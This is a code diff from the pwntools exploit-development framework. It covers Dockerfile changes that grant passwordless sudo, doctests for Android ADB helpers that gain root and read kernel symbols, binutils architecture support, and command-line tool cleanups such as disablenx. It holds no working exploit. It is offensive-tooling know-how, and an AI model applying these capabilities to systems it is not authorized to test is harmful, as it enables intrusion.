+ && python3 -m pip install --upgrade --requirement pwntools/docs/requirements.txt
+
+# Dependencies from .travis.yml addons -> apt -> packages
+RUN sudo apt-get install -y \
+	ash \
+	bash \
+	bash-static \
+	binutils-msp430 \
+	binutils-multiarch \
+	binutils-s390x-linux-gnu \
+	dash \
+	gcc \
+	gcc-multilib \
+	gdb \ 
+	ksh \
+	lib32stdc++6 \
+	libc6-dev-i386 \
+	mksh \
+	pandoc \
+	qemu-user-static \
+	socat \
+	sshpass \
+	zsh
+
+# Misc useful things when developing
+RUN sudo apt-get install -y  \
+	curl \
+	ipython \
+	ipython3 \
+	lsb-release \
+	ssh \
+	unzip \
+	wget
+
+# Do not require password for sudo
+RUN echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" | sudo tee /etc/sudoers.d/travis

extra/docker/kali/Dockerfile

@@ -1,26 +0,0 @@
-############################################################
-# Dockerfile to build Pwntools container
-# Based on Ubuntu
-############################################################
-
-FROM kalilinux/kali-linux-docker
-MAINTAINER Maintainer Gallopsled et al.
-
-RUN apt-get update \
-    && apt-get install -y \
-        build-essential \
-        git \
-        libssl-dev \
-        libffi-dev \
-        python2.7 \
-        python-pip \
-        python-dev \
-    && pip install --upgrade pip \
-    && python -m pip install --upgrade pwntools \
-    && PWNLIB_NOTERM=1 pwn update \
-    && apt-get install -y sudo \
-    && useradd -m pwntools \
-    && passwd --delete --unlock pwntools \
-    && echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools
-USER pwntools
-WORKDIR /home/pwntools

extra/docker/kali/Makefile

@@ -1,8 +0,0 @@
-all: Dockerfile
-
-Dockerfile: ../xenial/Dockerfile FORCE
-	sed "s|ubuntu:xenial|kalilinux/kali-linux-docker|" < "$<" > "$@"
-
-FORCE:
-
-.PHONY: all

extra/docker/precise/Makefile

@@ -1,8 +0,0 @@
-all: Dockerfile
-
-Dockerfile: ../xenial/Dockerfile FORCE
-	sed "s|ubuntu:xenial|ubuntu:precise|" < "$<" > "$@"
-
-FORCE:
-
-.PHONY: all

extra/docker/stable/Dockerfile

@@ -2,5 +2,6 @@ FROM pwntools/pwntools:base
 
 USER root
 RUN pip install --upgrade git+https://github.com/Gallopsled/pwntools@stable
+RUN pip3 install --upgrade git+https://github.com/Gallopsled/pwntools@stable
 RUN PWNLIB_NOTERM=1 pwn update
 USER pwntools

extra/docker/trusty/Dockerfile

@@ -1,26 +0,0 @@
-############################################################
-# Dockerfile to build Pwntools container
-# Based on Ubuntu
-############################################################
-
-FROM ubuntu:trusty
-MAINTAINER Maintainer Gallopsled et al.
-
-RUN apt-get update \
-    && apt-get install -y \
-        build-essential \
-        git \
-        libssl-dev \
-        libffi-dev \
-        python2.7 \
-        python-pip \
-        python-dev \
-    && pip install --upgrade pip \
-    && python -m pip install --upgrade pwntools \
-    && PWNLIB_NOTERM=1 pwn update \
-    && apt-get install -y sudo \
-    && useradd -m pwntools \
-    && passwd --delete --unlock pwntools \
-    && echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools
-USER pwntools
-WORKDIR /home/pwntools

extra/docker/trusty/Makefile

@@ -1,8 +0,0 @@
-all: Dockerfile
-
-Dockerfile: ../xenial/Dockerfile FORCE
-	sed "s|ubuntu:xenial|ubuntu:trusty|" < "$<" > "$@"
-
-FORCE:
-
-.PHONY: all

extra/docker/xenial/Dockerfile

@@ -1,26 +0,0 @@
-############################################################
-# Dockerfile to build Pwntools container
-# Based on Ubuntu
-############################################################
-
-FROM ubuntu:xenial
-MAINTAINER Maintainer Gallopsled et al.
-
-RUN apt-get update \
-    && apt-get install -y \
-        build-essential \
-        git \
-        libssl-dev \
-        libffi-dev \
-        python2.7 \
-        python-pip \
-        python-dev \
-    && pip install --upgrade pip \
-    && python -m pip install --upgrade pwntools \
-    && PWNLIB_NOTERM=1 pwn update \
-    && apt-get install -y sudo \
-    && useradd -m pwntools \
-    && passwd --delete --unlock pwntools \
-    && echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools
-USER pwntools
-WORKDIR /home/pwntools

pwn/toplevel.py

@@ -4,7 +4,9 @@ import logging
 import math
 import operator
 import os
+import platform
 import re
+import requests
 import socks
 import signal
 import string
@@ -15,6 +17,7 @@ import tempfile
 import threading
 import time
 
+import colored_traceback
 from pprint import pprint
 
 import pwnlib
@@ -28,17 +31,21 @@ from pwnlib.elf.corefile import Core, Corefile, Coredump
 from pwnlib.elf.elf import ELF, load
 from pwnlib.encoders import *
 from pwnlib.exception import PwnlibException
-from pwnlib.gdb import attach, debug, debug_assembly, debug_shellcode
+from pwnlib.gdb import attach, debug_assembly, debug_shellcode
 from pwnlib.filepointer import *
+from pwnlib.filesystem import *
 from pwnlib.flag import *
-from pwnlib.fmtstr import FmtStr, fmtstr_payload
+from pwnlib.fmtstr import FmtStr, fmtstr_payload, fmtstr_split
 from pwnlib.log import getLogger
 from pwnlib.memleak import MemLeak, RelativeMemLeak
 from pwnlib.regsort import *
 from pwnlib.replacements import *
 from pwnlib.rop import ROP
+from pwnlib.rop.call import AppendedArgument
 from pwnlib.rop.srop import SigreturnFrame
+from pwnlib.rop.ret2dlresolve import Ret2dlresolvePayload
 from pwnlib.runner import *
+from pwnlib.term.readline import str_input
 from pwnlib.timeout import Timeout
 from pwnlib.tubes.listen import listen
 from pwnlib.tubes.process import process, PTY, PIPE, STDOUT
@@ -78,4 +85,7 @@ info    = log.info
 debug   = log.debug
 success = log.success
 
-__all__ = [x for x in globals().keys() if x != '__name__']
+colored_traceback.add_hook()
+
+# Equivalence with the default behavior of "from import *"
+# __all__ = [x for x in tuple(globals()) if not x.startswith('_')]

pwnlib/adb/adb.py

@@ -75,8 +75,13 @@ log = getLogger(__name__)
 def adb(argv, *a, **kw):
     r"""Returns the output of an ADB subcommand.
 
-    >>> adb.adb(['get-serialno'])
-    b'emulator-5554\n'
+    .. doctest::
+       :skipif: skip_android
+
+        >>> adb.adb('get-serialno')
+        b'emulator-5554\n'
+        >>> adb.adb(['shell', 'uname']) # it is better to use adb.process
+        b'Linux\n'
     """
     if isinstance(argv, (bytes, six.text_type)):
         argv = [argv]
@@ -111,7 +116,8 @@ def current_device(any=False):
     """Returns an ``AdbDevice`` instance for the currently-selected device
     (via ``context.device``).
 
-    Example:
+    .. doctest::
+       :skipif: skip_android
 
         >>> device = adb.current_device(any=True)
         >>> device
@@ -142,7 +148,10 @@ def with_device(f):
 def root():
     """Restarts adbd as root.
 
-    >>> adb.root()
+    .. doctest::
+       :skipif: skip_android
+
+        >>> adb.root()
     """
     log.info("Enabling root on %s" % context.device)
 
@@ -198,6 +207,14 @@ def uptime():
 
     Returns:
         Uptime of the device, in seconds
+
+    Example:
+
+    .. doctest::
+       :skipif: skip_android
+
+        >>> adb.uptime() > 3 # normally AVD takes ~7 seconds to boot
+        True
     """
     up, idle = map(float, read('/proc/uptime').split())
     return up
@@ -209,10 +226,19 @@ def boot_time():
     Returns:
         Boot time of the device, in Unix time, rounded to the
         nearest second.
+
+    Example:
+
+    .. doctest::
+       :skipif: skip_android
+
+        >>> import time
+        >>> adb.boot_time() < time.time()
+        True
     """
     for line in read('/proc/stat').splitlines():
         name, value = line.split(None, 1)
-        if name == 'btime':
+        if name == b'btime':
             return int(value)
 
 class AdbDevice(Device):
@@ -220,6 +246,9 @@ class AdbDevice(Device):
 
     Example:
 
+    .. doctest::
+       :skipif: skip_android
+
         >>> device = adb.wait_for_device()
         >>> device.arch
         'arm'
@@ -346,10 +375,13 @@ class AdbDevice(Device):
         """Provides scoped access to ``adb`` module propertise, in the context
         of this device.
 
-        >>> property = 'ro.build.fingerprint'
-        >>> device = adb.wait_for_device()
-        >>> adb.getprop(property) == device.getprop(property)
-        True
+        .. doctest::
+           :skipif: skip_android
+
+            >>> property = 'ro.build.fingerprint'
+            >>> device = adb.wait_for_device()
+            >>> adb.getprop(property) == device.getprop(property)
+            True
         """
         with context.local(device=self):
             g = globals()
@@ -376,6 +408,9 @@ def wait_for_device(kick=False):
 
     Examples:
 
+    .. doctest::
+       :skipif: skip_android
+
         >>> device = adb.wait_for_device()
     """
     with log.waitfor("Waiting for device to come online") as w:
@@ -485,6 +520,9 @@ def pull(remote_path, local_path=None):
 
     Example:
 
+    .. doctest::
+       :skipif: skip_android
+
         >>> _=adb.pull('/proc/version', './proc-version')
         >>> print(read('./proc-version').decode('utf-8')) # doctest: +ELLIPSIS
         Linux version ...
@@ -516,6 +554,9 @@ def push(local_path, remote_path):
 
     Example:
 
+    .. doctest::
+       :skipif: skip_android
+
         >>> write('./filename', 'contents')
         >>> adb.push('./filename', '/data/local/tmp')
         '/data/local/tmp/filename'
@@ -573,6 +614,9 @@ def read(path, target=None, callback=None):
 
     Examples:
 
+    .. doctest::
+       :skipif: skip_android
+
         >>> print(adb.read('/proc/version').decode('utf-8')) # doctest: +ELLIPSIS
         Linux version ...
         >>> adb.read('/does/not/exist')
@@ -602,6 +646,9 @@ def write(path, data=b''):
 
     Examples:
 
+    .. doctest::
+       :skipif: skip_android
+
         >>> adb.write('/dev/null', b'data')
         >>> adb.write('/data/local/tmp/')
     """
@@ -622,6 +669,9 @@ def mkdir(path):
 
     Examples:
 
+    .. doctest::
+       :skipif: skip_android
+
         >>> adb.mkdir('/')
 
         >>> path = '/data/local/tmp/mkdir_test'
@@ -662,9 +712,12 @@ def makedirs(path):
 
     Examples:
 
-        >>> adb.makedirs('/data/local/tmp/this/is/a/directory/heirarchy')
+    .. doctest::
+       :skipif: skip_android
+
+        >>> adb.makedirs('/data/local/tmp/this/is/a/directory/hierarchy')
         >>> adb.listdir('/data/local/tmp/this/is/a/directory')
-        ['heirarchy']
+        ['hierarchy']
     """
     if path != '/':
         makedirs(os.path.dirname(path))
@@ -678,6 +731,9 @@ def exists(path):
 
     Examples:
 
+    .. doctest::
+       :skipif: skip_android
+
         >>> adb.exists('/')
         True
         >>> adb.exists('/etc/hosts')
@@ -695,6 +751,9 @@ def isdir(path):
 
     Examples:
 
+    .. doctest::
+       :skipif: skip_android
+
         >>> adb.isdir('/')
         True
         >>> adb.isdir('/init')
@@ -713,6 +772,9 @@ def unlink(path, recursive=False):
 
     Examples:
 
+    .. doctest::
+       :skipif: skip_android
+
         >>> adb.unlink("/does/not/exist")
         Traceback (most recent call last):
         ...
@@ -764,6 +826,9 @@ def process(argv, *a, **kw):
 
     Examples:
 
+    .. doctest::
+       :skipif: skip_android
+
         >>> adb.root()
         >>> print(adb.process(['cat','/proc/version']).recvall().decode('utf-8')) # doctest: +ELLIPSIS
         Linux version ...
@@ -804,6 +869,9 @@ def which(name, all = False, *a, **kw):
 
     Example:
 
+    .. doctest::
+       :skipif: skip_android
+
         >>> adb.which('sh')
         '/system/bin/sh'
         >>> adb.which('sh', all=True)
@@ -816,17 +884,18 @@ def which(name, all = False, *a, **kw):
     """
     # Unfortunately, there is no native 'which' on many phones.
     which_cmd = '''
-echo $PATH | while read -d: directory; do
-    [ -x "$directory/{name}" ] || continue;
-    echo -n "$directory/{name}\\x00";
-done
+(IFS=:
+  for directory in $PATH; do
+      [ -x "$directory/{name}" ] || continue;
+      echo -n "$directory/{name}\\x00";
+  done
+)
 [ -x "{name}" ] && echo -n "$PWD/{name}\\x00"
 '''.format(name=name)
 
     which_cmd = which_cmd.strip()
     data = process(['sh','-c', which_cmd], *a, **kw).recvall()
-    if not hasattr(data, 'encode'):
-        data = data.decode('utf-8')
+    data = context._decode(data)
     result = []
 
     for path in data.split('\x00'):
@@ -849,6 +918,16 @@ done
 
 @with_device
 def whoami():
+    """Returns current shell user
+
+    Example:
+
+    .. doctest::
+       :skipif: skip_android
+
+       >>> adb.whoami()
+       b'root'
+    """
     return process(['sh','-ic','echo $USER']).recvall().strip()
 
 @with_device
@@ -896,7 +975,16 @@ def pidof(name):
 
 @with_device
 def proc_exe(pid):
-    """Returns the full path of the executable for the provided PID."""
+    """Returns the full path of the executable for the provided PID.
+
+    Example:
+
+    .. doctest::
+       :skipif: skip_android
+
+        >>> adb.proc_exe(1)
+        b'/init'
+    """
     with context.quiet:
         io  = process(['realpath','/proc/%d/exe' % pid])
         data = io.recvall().strip()
@@ -912,24 +1000,27 @@ def getprop(name=None):
     Returns:
         If ``name`` is not specified, a ``dict`` of all properties is returned.
         Otherwise, a string is returned with the contents of the named property.
+
+    Example:
+
+    .. doctest::
+       :skipif: skip_android
+
+        >>> adb.getprop() # doctest: +ELLIPSIS
+        {...}
     """
     with context.quiet:
         if name:
             result = process(['getprop', name]).recvall().strip()
-            if not hasattr(result, 'encode'):
-                result = result.decode('utf-8')
+            result = context._decode(result)
             return result
 
-
         result = process(['getprop']).recvall()
 
-    if not hasattr(result, 'encode'):
-        result = result.decode('utf-8')
-
+    result = context._decode(result)
     expr = r'\[([^\]]+)\]: \[(.*)\]'
 
     props = {}
-
     for line in result.splitlines():
         if not line.startswith('['):
             continue
@@ -960,7 +1051,7 @@ def listdir(directory='/'):
         Otherwise, less files may be returned due to restrictive SELinux
         policies on adbd.
     """
-    return list(sorted(AdbClient().list(directory)))
+    return sorted(AdbClient().list(directory))
 
 @with_device
 def fastboot(args, *a, **kw):
@@ -1028,6 +1119,15 @@ class Kernel(object):
 
     @property
     def address(self):
+        """Returns kernel address
+        Example:
+
+        .. doctest::
+           :skipif: skip_android
+
+            >>> hex(adb.kernel.address) # doctest: +ELLIPSIS
+            '0x...000'
+        """
         return self.symbols['_text']
 
     @property
@@ -1050,7 +1150,7 @@ class Kernel(object):
             self._kallsyms = {}
             root()
             write('/proc/sys/kernel/kptr_restrict', '1')
-            self._kallsyms = read('/proc/kallsyms')
+            self._kallsyms = read('/proc/kallsyms').decode('ascii')
         return self._kallsyms
 
     @property
@@ -1148,8 +1248,16 @@ class Property(object):
         setprop(attr, value)
 
     def __eq__(self, other):
-        # Allow simple comparison, e.g.:
-        # adb.properties.ro.oem_unlock_supported == "1"
+        """Allow simple comparison
+
+        Example:
+
+        .. doctest::
+           :skipif: skip_android
+
+            >>> adb.properties.ro.build.version.sdk == "24"
+            True
+        """
         if isinstance(other, six.string_types):
             return str(self) == other
         return super(Property, self).__eq__(other)
@@ -1232,7 +1340,28 @@ def _generate_ndk_project(file_list, abi='arm-v7a', platform_version=21):
     return root
 
 def compile(source):
-    """Compile a source file or project with the Android NDK."""
+    r"""Compile a source file or project with the Android NDK.
+
+    Example:
+
+    .. doctest::
+       :skipif: skip_android
+
+        >>> temp = tempfile.mktemp('.c')
+        >>> write(temp, '''
+        ... #include <stdio.h>
+        ... static char buf[4096];
+        ... int main() {
+        ...   FILE *fp = fopen("/proc/self/maps", "r");
+        ...   int n = fread(buf, 1, sizeof(buf), fp);
+        ...   fwrite(buf, 1, n, stdout);
+        ...   return 0;
+        ... }''')
+        >>> filename = adb.compile(temp)
+        >>> sent = adb.push(filename, "/data/local/tmp")
+        >>> adb.process(sent).recvall() # doctest: +ELLIPSIS
+        b'... /system/bin/linker\n...'
+    """
 
     ndk_build = misc.which('ndk-build')
     if not ndk_build:
@@ -1279,7 +1408,7 @@ def compile(source):
     result = io.recvall()
 
     if 0 != io.poll():
-        log.error("Build failed:\n%s" % result)
+        log.error("Build failed:\n%s", result)
 
     # Find all of the output files
     output = glob.glob(os.path.join(lib, '*', '*'))
@@ -1329,36 +1458,61 @@ def find(top, name):
 
 @with_device
 def readlink(path):
-    path = process(['readlink', path]).recvall()
+    path = process(['realpath', path]).recvall()
 
     # Readlink will emit a single newline
     # We can't use the '-n' flag since old versions don't support it
-    if path.endswith('\n'):
+    if path.endswith(b'\n'):
         path = path[:-1]
 
-    return path
+    return path.decode()
 
 class Partitions(object):
+    """Enable access to partitions
+
+    Example:
+
+    .. doctest::
+       :skipif: skip_android
+
+        >>> hex(adb.partitions.vda.size) # doctest: +ELLIPSIS
+        '0x...000'
+    """
     @property
     @context.quietfunc
     def by_name_dir(self):
-        return next(find('/dev/block/platform','by-name'))
+        try:
+            return next(find('/dev/block/platform','by-name'))
+        except StopIteration:
+            return '/dev/block'
 
     @context.quietfunc
     def __dir__(self):
         return list(self)
 
+    @context.quietfunc
+    def iter_proc_partitions(self):
+        for line in read('/proc/partitions').splitlines():
+            if not line.strip():
+                continue
+            major, minor, blocks, name = line.split(None, 4)
+            yield blocks, name.decode()
+
     @context.quietfunc
     @with_device
     def __iter__(self):
         root()
 
         # Find all named partitions
-        for name in listdir(self.by_name_dir):
-            yield name
+        names = set(listdir(self.by_name_dir))
+
+        # Find all unnamed partitions
+        for _, name in self.iter_proc_partitions():
+            names.add(name)
+        return iter(names)
 
     def __getattr__(self, attr):
-        if name.startswith("_"):
+        if attr.startswith("_"):
             raise AttributeError(attr)
 
         for name in self:
@@ -1375,11 +1529,8 @@ class Partitions(object):
             devname = os.path.basename(devpath)
 
             # Get the size of the partition
-            for line in read('/proc/partitions').splitlines():
-                if not line.strip():
-                    continue
-                major, minor, blocks, name = line.split(None, 4)
-                if devname == name:
+            for blocks, name in self.iter_proc_partitions():
+                if name in (devname, attr):
                     break
             else:
                 log.error("Could not find size of partition %r" % name)

pwnlib/adb/bootloader.py

@@ -4,6 +4,7 @@ from __future__ import division
 import ctypes
 import io
 import os
+import six
 import sys
 
 from pwnlib.log import getLogger
@@ -64,7 +65,7 @@ class BootloaderImage(object):
         Returns:
             Contents of the image.
         """
-        if isinstance(index_or_name, int):
+        if isinstance(index_or_name, six.integer_types):
             index = index_or_name
         else:
             for i in range(len(self.img_info)):

pwnlib/args.py

@@ -1,5 +1,3 @@
-
-#!/usr/bin/env python2
 """
 Pwntools exposes several magic command-line arguments and environment
 variables when operating in `from pwn import *` mode.

pwnlib/asm.py

@@ -167,6 +167,9 @@ def which_binutils(util):
         'i386':   ['x86_64', 'amd64'],
         'i686':   ['x86_64', 'amd64'],
         'amd64':  ['x86_64', 'i386'],
+        'mips64': ['mips'],
+        'powerpc64': ['powerpc'],
+        'sparc64': ['sparc'],
     }.get(arch, [])
 
     # If one of the candidate architectures matches the native
@@ -190,16 +193,18 @@ def which_binutils(util):
         for gutil in utils:
             # e.g. objdump
             if arch is None:
-                pattern = gutil
+                patterns = [gutil]
 
-            # e.g. aarch64-linux-gnu-objdump
+            # e.g. aarch64-linux-gnu-objdump, avr-objdump
             else:
-                pattern = '%s*linux*-%s' % (arch,gutil)
+                patterns = ['%s*linux*-%s' % (arch, gutil),
+                            '%s-%s' % (arch, gutil)]
 
-            for dir in environ['PATH'].split(':'):
-                res = sorted(glob(path.join(dir, pattern)))
-                if res:
-                    return res[0]
+            for pattern in patterns:
+                for dir in environ['PATH'].split(':'):
+                    res = sorted(glob(path.join(dir, pattern)))
+                    if res:
+                        return res[0]
 
     # No dice!
     print_binutils_instructions(util, context)
@@ -245,9 +250,9 @@ def _assembler():
                                          stderr=subprocess.STDOUT, universal_newlines=True)
         version = re.search(r' (\d\.\d+)', result).group(1)
         if version < '2.19':
-            log.warn_once('Your binutils version is too old and may not work!\n'  + \
-                'Try updating with: https://docs.pwntools.com/en/stable/install/binutils.html\n' + \
-                'Reported Version: %r' % result.strip())
+            log.warn_once('Your binutils version is too old and may not work!\n'
+                'Try updating with: https://docs.pwntools.com/en/stable/install/binutils.html\n'
+                'Reported Version: %r', result.strip())
 
 
     return assembler
@@ -322,15 +327,18 @@ def _bfdname():
         'amd64'   : 'elf64-x86-64',
         'arm'     : 'elf32-%sarm' % E,
         'thumb'   : 'elf32-%sarm' % E,
+        'avr'     : 'elf32-avr',
         'mips'    : 'elf32-trad%smips' % E,
         'mips64'  : 'elf64-trad%smips' % E,
         'alpha'   : 'elf64-alpha',
         'cris'    : 'elf32-cris',
         'ia64'    : 'elf64-ia64-%s' % E,
         'm68k'    : 'elf32-m68k',
+        'msp430'  : 'elf32-msp430',
         'powerpc' : 'elf32-powerpc',
         'powerpc64' : 'elf64-powerpc',
         'vax'     : 'elf32-vax',
+        's390'    : 'elf%d-s390' % context.bits,
         'sparc'   : 'elf32-sparc',
         'sparc64' : 'elf64-sparc',
     }
@@ -344,10 +352,13 @@ def _bfdname():
 def _bfdarch():
     arch = context.arch
     convert = {
-    'i386': 'i386',
-    'amd64': 'i386:x86-64',
-    'thumb': 'arm',
-    'ia64': 'ia64-elf64'
+        'amd64':     'i386:x86-64',
+        'i386':      'i386',
+        'ia64':      'ia64-elf64',
+        'mips64':    'mips',
+        'powerpc64': 'powerpc',
+        'sparc64':   'sparc',
+        'thumb':     'arm',
     }
 
     if arch in convert:
@@ -481,9 +492,7 @@ def make_elf_from_assembly(assembly,
         >>> file_b = make_elf_from_assembly('nop', extract=True)
         >>> file_a[:4] == file_b[:4]
         True
-        >>> len(file_a) < 0x200
-        True
-        >>> len(file_b) > 0x1000
+        >>> len(file_a) < len(file_b)
         True
     """
     if shared and vma:
@@ -637,6 +646,10 @@ def asm(shellcode, vma = 0, extract = True, shared = False):
         b'H\xc7\xc0\x17\x00\x00\x00'
         >>> asm("mov r0, #SYS_select", arch = 'arm', os = 'linux', bits=32)
         b'R\x00\xa0\xe3'
+        >>> asm("mov #42, r0", arch = 'msp430')
+        b'0@*\x00'
+        >>> asm("la %r0, 42", arch = 's390', bits=64)
+        b'A\x00\x00*'
     """
     result = ''
 
@@ -749,6 +762,12 @@ def disasm(data, vma = 0, byte = True, offset = True, instructions = True):
         >>> print(disasm(unhex('656664676665400F18A4000000000051'), byte=0, arch='amd64'))
            0:   gs data16 fs data16 rex nop/reserved BYTE PTR gs:[eax+eax*1+0x0]
            f:   push   rcx
+        >>> print(disasm(unhex('01000000'), arch='sparc64'))
+           0:   01 00 00 00     nop
+        >>> print(disasm(unhex('60000000'), arch='powerpc64'))
+           0:   60 00 00 00     nop
+        >>> print(disasm(unhex('00000000'), arch='mips64'))
+           0:   00000000        nop
     """
     result = ''
 

pwnlib/atexit.py

@@ -13,6 +13,7 @@ from __future__ import division
 import sys
 import threading
 import traceback
+import atexit as std_atexit
 
 from pwnlib.context import context
 
@@ -95,4 +96,8 @@ def _run_handlers():
 if hasattr(sys, "exitfunc"):
     register(sys.exitfunc)
 
-sys.exitfunc = _run_handlers
+if sys.version_info[0] < 3:
+    sys.exitfunc = _run_handlers
+else:
+    std_atexit.register(_run_handlers)
+

pwnlib/commandline/__init__.py

@@ -18,5 +18,6 @@ __all__ = [
     'scramble',
     'shellcraft',
     'unhex',
-    'update'
+    'update',
+    'version'
 ]

pwnlib/commandline/asm.py

@@ -5,12 +5,16 @@ from __future__ import division
 import argparse
 import sys
 
+import pwnlib
+pwnlib.args.free_form = False
+
 from pwn import *
 from pwnlib.commandline import common
 
 parser = common.parser_commands.add_parser(
     'asm',
-    help = 'Assemble shellcode into bytes'
+    help = 'Assemble shellcode into bytes',
+    description = 'Assemble shellcode into bytes',
 )
 
 parser.add_argument(

pwnlib/commandline/checksec.py

@@ -10,7 +10,8 @@ from pwnlib.commandline import common
 
 parser = common.parser_commands.add_parser(
     'checksec',
-    help = 'Check binary security settings'
+    help = 'Check binary security settings',
+    description = 'Check binary security settings',
 )
 parser.add_argument(
     'elf',

pwnlib/commandline/constgrep.py

@@ -4,7 +4,6 @@ from __future__ import division
 
 import argparse
 import functools
-import os
 import re
 
 import pwnlib
@@ -16,28 +15,26 @@ from pwnlib.commandline import common
 p = common.parser_commands.add_parser(
     'constgrep',
     help = "Looking up constants from header files.\n\nExample: constgrep -c freebsd -m  ^PROT_ '3 + 4'",
+    description = "Looking up constants from header files.\n\nExample: constgrep -c freebsd -m  ^PROT_ '3 + 4'",
     formatter_class = argparse.RawDescriptionHelpFormatter,
 )
 
-group = p.add_mutually_exclusive_group()
-group.add_argument(
+p.add_argument(
     '-e', '--exact',
-    metavar = 'constant',
-    # nargs = 1,
-    default = None,
-    help = 'Do an exact match for a constant instead of searching for a regex',
+    action='store_true',
+    help='Do an exact match for a constant instead of searching for a regex',
 )
-group.add_argument(
+
+p.add_argument(
     'regex',
-    nargs = '?',
-    default = '',
-    help = 'The regex matching constant you want to find',
+    help='The regex matching constant you want to find',
 )
 
 p.add_argument(
     'constant',
     nargs = '?',
     default = None,
+    type = safeeval.expr,
     help = 'The constant to find',
 )
 
@@ -65,7 +62,7 @@ p.add_argument(
 def main(args):
     if args.exact:
         # This is the simple case
-        print(cpp(args.exact).strip())
+        print(cpp(args.regex).strip())
     else:
         # New we search in the right module.
         # But first: We find the right module
@@ -80,20 +77,12 @@ def main(args):
         else:
             matcher = re.compile(args.regex)
 
-
-        # Evaluate the given constant
-        if args.constant:
-            try:
-                constant = safeeval.expr(args.constant)
-            except:
-                log.error("Could not evaluate constant %r" % args.constant)
-        else:
-            constant = None
-
         # The found matching constants and the length of the longest string
         out    = []
         maxlen = 0
 
+        constant = args.constant
+
         for k in dir(mod):
             # No python stuff
             if k.endswith('__') and k.startswith('__'):
@@ -104,7 +93,7 @@ def main(args):
                 continue
 
             # Check the constant
-            if constant != None:
+            if constant is not None:
                 val = getattr(mod, k)
                 if args.mask_mode:
                     if constant & val != val:
@@ -124,7 +113,7 @@ def main(args):
         # If we are in match_mode, then try to find a combination of
         # constants that yield the exact given value
         # We do not want to find combinations using the value 0.
-        if not (constant == None or constant == 0) and args.mask_mode:
+        if constant and args.mask_mode:
             mask = constant
             good = []
             out = [(v, k) for v, k in out if v != 0]

pwnlib/commandline/cyclic.py

@@ -15,7 +15,8 @@ from pwnlib.commandline import common
 
 parser = common.parser_commands.add_parser(
     'cyclic',
-    help = "Cyclic pattern creator/finder"
+    help = "Cyclic pattern creator/finder",
+    description = "Cyclic pattern creator/finder"
 )
 
 parser.add_argument(
@@ -43,7 +44,7 @@ parser.add_argument(
     help = 'The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: %s' % common.choices,
 )
 
-group = parser.add_mutually_exclusive_group(required = True)
+group = parser.add_mutually_exclusive_group(required=False)
 group.add_argument(
     '-l', '-o', '--offset', '--lookup',
     dest = 'lookup',
@@ -53,9 +54,10 @@ group.add_argument(
 
 group.add_argument(
     'count',
-    type = int,
-    nargs = '?',
-    help = 'Number of characters to print'
+    type=int,
+    nargs='?',
+    default=None,
+    help='Number of characters to print'
 )
 
 def main(args):
@@ -69,7 +71,7 @@ def main(args):
             pat = int(pat, 0)
         except ValueError:
             pass
-        pat = flat(pat)
+        pat = flat(pat, bytes=args.length)
 
         if len(pat) != subsize:
             log.critical('Subpattern must be %d bytes' % subsize)
@@ -90,7 +92,7 @@ def main(args):
         want   = args.count
         result = cyclic(want, alphabet, subsize)
         got    = len(result)
-        if got < want:
+        if want is not None and got < want:
             log.failure("Alphabet too small (max length = %i)" % got)
 
         out = getattr(sys.stdout, 'buffer', sys.stdout)

pwnlib/commandline/debug.py

@@ -10,7 +10,8 @@ from pwnlib.commandline import common
 
 parser = common.parser_commands.add_parser(
     'debug',
-    help = 'Debug a binary in GDB'
+    help = 'Debug a binary in GDB',
+    description = 'Debug a binary in GDB'
 )
 parser.add_argument(
     '-x', metavar='GDBSCRIPT',

pwnlib/commandline/disablenx.py

@@ -8,7 +8,8 @@ from pwnlib.commandline import common
 
 parser = common.parser_commands.add_parser(
     'disablenx',
-    help = 'Disable NX for an ELF binary'
+    help = 'Disable NX for an ELF binary',
+    description = 'Disable NX for an ELF binary'
 )
 parser.add_argument(
     'elf',

pwnlib/commandline/disasm.py

@@ -15,7 +15,8 @@ from pwnlib.commandline import common
 
 parser = common.parser_commands.add_parser(
     'disasm',
-    help = 'Disassemble bytes into text format'
+    help = 'Disassemble bytes into text format',
+    description = 'Disassemble bytes into text format'
 )
 
 parser.add_argument(

pwnlib/commandline/elfdiff.py

@@ -29,7 +29,8 @@ def diff(a,b):
 
 p = common.parser_commands.add_parser(
     'elfdiff',
-    help = 'Compare two ELF files'
+    help = 'Compare two ELF files',
+    description = 'Compare two ELF files'
 )
 
 p.add_argument('a')

pwnlib/commandline/elfpatch.py

@@ -12,7 +12,8 @@ from pwnlib.commandline import common
 
 p = common.parser_commands.add_parser(
     'elfpatch',
-    help = 'Patch an ELF file'
+    help = 'Patch an ELF file',
+    description = 'Patch an ELF file'
 )
 
 p.add_argument('elf',help="File to patch")

pwnlib/commandline/errno.py

@@ -8,7 +8,8 @@ from pwnlib.commandline import common
 
 parser = common.parser_commands.add_parser(
     'errno',
-    help = 'Prints out error messages'
+    help = 'Prints out error messages',
+    description = 'Prints out error messages'
 )
 
 parser.add_argument(
@@ -45,4 +46,4 @@ def main(args):
   print(os.strerror(value))
 
 if __name__ == '__main__':
-    pwnlib.commandline.common.main(__file__)
+    common.main(__file__)

pwnlib/commandline/hex.py

@@ -10,9 +10,9 @@ from pwnlib.util.fiddling import enhex
 
 parser = common.parser_commands.add_parser(
     'hex',
-    help = '''
-Hex-encodes data provided on the command line or stdin
-''')
+    help = 'Hex-encodes data provided on the command line or stdin',
+    description = 'Hex-encodes data provided on the command line or stdin')
+
 parser.add_argument('data', nargs='*',
     help='Data to convert into hex')
 
@@ -26,4 +26,4 @@ def main(args):
         print(enhex(data))
 
 if __name__ == '__main__':
-    pwnlib.commandline.common.main(__file__)
+    common.main(__file__)

pwnlib/commandline/main.py

@@ -21,6 +21,7 @@ from pwnlib.commandline import shellcraft
 from pwnlib.commandline import template
 from pwnlib.commandline import unhex
 from pwnlib.commandline import update
+from pwnlib.commandline import version
 from pwnlib.commandline.common import parser
 from pwnlib.context import context
 
@@ -43,6 +44,7 @@ commands = {
     'template': template.main,
     'unhex': unhex.main,
     'update': update.main,
+    'version': version.main,
 }
 
 def main():

pwnlib/commandline/phd.py

@@ -15,7 +15,8 @@ from pwnlib.commandline import common
 
 parser = common.parser_commands.add_parser(
     'phd',
-    help = 'Pwnlib HexDump'
+    help = 'Pretty hex dump',
+    description = 'Pretty hex dump'
 )
 
 parser.add_argument(
